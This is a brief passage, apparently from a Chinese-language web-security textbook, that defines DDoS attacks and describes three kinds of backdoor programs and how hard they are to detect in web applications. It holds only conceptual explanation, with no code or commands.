多臺計算機發起的 DoS 攻擊稱爲 DDoS 攻擊(Distributed Denial of Service attack)。 DDoS 攻擊通常利用那些感染病毒的計算機作爲攻擊者的攻擊跳板。

11.5.4 後門程序

後門程序(Backdoor)是指開發設置的隱藏入口,可不按正常步驟使用受限功能。利用後門程序就能夠使用原本受限制的功能。通常的後門程序分爲以下 3 種類型。

  • 開發階段作爲 Debug 調用的後門程序
  • 開發者爲了自身利益植入的後門程序
  • 攻擊者通過某種方法設置的後門程序

可通過監視進程和通信的狀態發現被植入的後門程序。但設定在 Web 應用中的後門程序,由於和正常使用時區別不大,通常很難發現。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章